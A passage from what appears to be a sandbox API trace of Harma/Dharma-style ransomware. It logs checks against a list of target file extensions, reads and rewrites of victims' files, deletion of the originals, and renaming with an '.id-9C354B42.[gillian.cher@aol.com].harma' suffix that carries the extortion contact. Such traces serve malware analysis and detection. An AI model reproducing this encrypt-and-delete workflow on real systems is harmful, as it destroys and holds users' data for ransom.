returned -1 [0133.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi") returned 66 [0133.638] lstrlenW (lpString=".jpg") returned 4 [0133.638] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.638] lstrcmpiW (lpString1=".avi", lpString2=".harma") returned -1 [0133.638] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0133.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.638] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1600388) returned 1 [0133.638] CloseHandle (hObject=0x2ac) returned 1 [0133.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0133.638] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.638] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0133.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.639] lstrlenW (lpString=".doc") returned 4 [0133.639] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.639] lstrlenW (lpString=".docx") returned 5 [0133.639] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0133.639] lstrlenW (lpString=".pdf") returned 4 [0133.639] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.639] lstrlenW (lpString=".xls") returned 4 [0133.639] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.639] lstrlenW (lpString=".xlsx") returned 5 [0133.639] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0133.639] lstrlenW (lpString=".ppt") returned 4 [0133.639] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.639] lstrlenW (lpString=".zip") returned 4 [0133.639] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.639] lstrlenW (lpString=".rar") returned 4 [0133.639] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.639] lstrlenW (lpString=".bz2") returned 4 [0133.639] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.639] lstrlenW (lpString=".7z") returned 3 [0133.639] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.639] lstrlenW (lpString=".dbf") returned 4 [0133.639] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.639] lstrlenW (lpString=".1cd") returned 4 [0133.639] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.639] lstrlenW (lpString=".jpg") returned 4 [0133.639] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.640] lstrlenW (lpString=".doc") returned 4 [0133.640] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString=".docx") returned 5 [0133.640] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0133.640] lstrlenW (lpString=".pdf") returned 4 [0133.640] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString=".xls") returned 4 [0133.640] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString=".xlsx") returned 5 [0133.640] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0133.640] lstrlenW (lpString=".ppt") returned 4 [0133.640] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.640] lstrlenW (lpString=".zip") returned 4 [0133.640] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString=".rar") returned 4 [0133.640] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString=".bz2") returned 4 [0133.640] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString=".7z") returned 3 [0133.640] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0133.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.640] lstrlenW (lpString=".dbf") returned 4 [0133.640] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0133.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.640] lstrlenW (lpString=".1cd") returned 4 [0133.640] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0133.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi") returned 69 [0133.640] lstrlenW (lpString=".jpg") returned 4 [0133.640] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0133.641] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0133.641] lstrlenW (lpString="auxbase.xml") returned 11 [0133.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.642] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1434) returned 1 [0133.642] CloseHandle (hObject=0x2ac) returned 1 [0133.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0133.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.642] lstrlenW (lpString=".doc") returned 4 [0133.642] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.642] lstrlenW (lpString=".docx") returned 5 [0133.642] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0133.642] lstrlenW (lpString=".pdf") returned 4 [0133.642] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.642] lstrlenW (lpString=".xls") returned 4 [0133.642] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.642] lstrlenW (lpString=".xlsx") returned 5 [0133.642] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0133.642] lstrlenW (lpString=".ppt") returned 4 [0133.643] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.643] lstrlenW (lpString=".zip") returned 4 [0133.643] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.643] lstrlenW (lpString=".rar") returned 4 [0133.643] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString=".bz2") returned 4 [0133.643] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString=".7z") returned 3 [0133.643] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.643] lstrlenW (lpString=".dbf") returned 4 [0133.643] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.643] lstrlenW (lpString=".1cd") returned 4 [0133.643] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.643] lstrlenW (lpString=".jpg") returned 4 [0133.643] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.643] lstrlenW (lpString=".doc") returned 4 [0133.643] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString=".docx") returned 5 [0133.643] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0133.643] lstrlenW (lpString=".pdf") returned 4 [0133.643] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString=".xls") returned 4 [0133.643] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.643] lstrlenW (lpString=".xlsx") returned 5 [0133.644] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0133.644] lstrlenW (lpString=".ppt") returned 4 [0133.644] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.644] lstrlenW (lpString=".zip") returned 4 [0133.644] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.644] lstrlenW (lpString=".rar") returned 4 [0133.644] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.644] lstrlenW (lpString=".bz2") returned 4 [0133.644] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.644] lstrlenW (lpString=".7z") returned 3 [0133.644] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.644] lstrlenW (lpString=".dbf") returned 4 [0133.644] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.644] lstrlenW (lpString=".1cd") returned 4 [0133.644] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 83 [0133.644] lstrlenW (lpString=".jpg") returned 4 [0133.644] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.644] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0133.644] lstrlenW (lpString="auxpad.xml") returned 10 [0133.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.645] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=212) returned 1 [0133.645] CloseHandle (hObject=0x2ac) returned 1 [0133.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0133.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.645] lstrlenW (lpString=".doc") returned 4 [0133.645] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.645] lstrlenW (lpString=".docx") returned 5 [0133.645] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0133.645] lstrlenW (lpString=".pdf") returned 4 [0133.645] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.645] lstrlenW (lpString=".xls") returned 4 [0133.645] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.645] lstrlenW (lpString=".xlsx") returned 5 [0133.645] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0133.645] lstrlenW (lpString=".ppt") returned 4 [0133.645] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.645] lstrlenW (lpString=".zip") returned 4 [0133.646] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.646] lstrlenW (lpString=".rar") returned 4 [0133.646] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString=".bz2") returned 4 [0133.646] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString=".7z") returned 3 [0133.646] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.646] lstrlenW (lpString=".dbf") returned 4 [0133.646] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.646] lstrlenW (lpString=".1cd") returned 4 [0133.646] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.646] lstrlenW (lpString=".jpg") returned 4 [0133.646] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.646] lstrlenW (lpString=".doc") returned 4 [0133.646] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString=".docx") returned 5 [0133.646] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0133.646] lstrlenW (lpString=".pdf") returned 4 [0133.646] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString=".xls") returned 4 [0133.646] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString=".xlsx") returned 5 [0133.646] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0133.646] lstrlenW (lpString=".ppt") returned 4 [0133.646] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.646] lstrlenW (lpString=".zip") returned 4 [0133.647] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.647] lstrlenW (lpString=".rar") returned 4 [0133.647] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.647] lstrlenW (lpString=".bz2") returned 4 [0133.647] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.647] lstrlenW (lpString=".7z") returned 3 [0133.647] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.647] lstrlenW (lpString=".dbf") returned 4 [0133.647] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.647] lstrlenW (lpString=".1cd") returned 4 [0133.647] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0133.647] lstrlenW (lpString=".jpg") returned 4 [0133.647] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.647] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0133.647] lstrlenW (lpString="ea.xml") returned 6 [0133.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0133.647] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=384) returned 1 [0133.648] CloseHandle (hObject=0x2ac) returned 1 [0133.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0133.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0133.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0133.648] lstrlenW (lpString=".doc") returned 4 [0133.648] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.648] lstrlenW (lpString=".docx") returned 5 [0133.648] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0133.648] lstrlenW (lpString=".pdf") returned 4 [0133.648] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.648] lstrlenW (lpString=".xls") returned 4 [0133.648] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.648] lstrlenW (lpString=".xlsx") returned 5 [0133.648] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0133.648] lstrlenW (lpString=".ppt") returned 4 [0133.648] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0133.648] lstrlenW (lpString=".zip") returned 4 [0133.648] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.648] lstrlenW (lpString=".rar") returned 4 [0133.648] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.649] lstrlenW (lpString=".bz2") returned 4 [0133.649] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.649] lstrlenW (lpString=".7z") returned 3 [0133.649] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0133.649] lstrlenW (lpString=".dbf") returned 4 [0133.649] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.705] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.706] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Title_Page_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\title_page_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.683] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.683] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0136.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0137.211] GetLastError () returned 0x0 [0137.211] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x385c, lpOverlapped=0x0) returned 1 [0137.298] WriteFile (in: hFile=0x344, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x3860, lpOverlapped=0x0) returned 1 [0137.301] ReadFile (in: hFile=0x33c, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0137.301] WriteFile (in: hFile=0x344, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.301] SetEndOfFile (hFile=0x344) returned 1 [0137.301] CloseHandle (hObject=0x344) returned 1 [0137.301] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0137.301] SetEndOfFile (hFile=0x33c) returned 1 [0137.305] CloseHandle (hObject=0x33c) returned 1 [0137.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0137.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0137.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0137.320] lstrlenW (lpString=".doc") returned 4 [0137.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.320] lstrlenW (lpString=".docx") returned 5 [0137.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.320] lstrlenW (lpString=".pdf") returned 4 [0137.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.320] lstrlenW (lpString=".xls") returned 4 [0137.320] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.320] lstrlenW 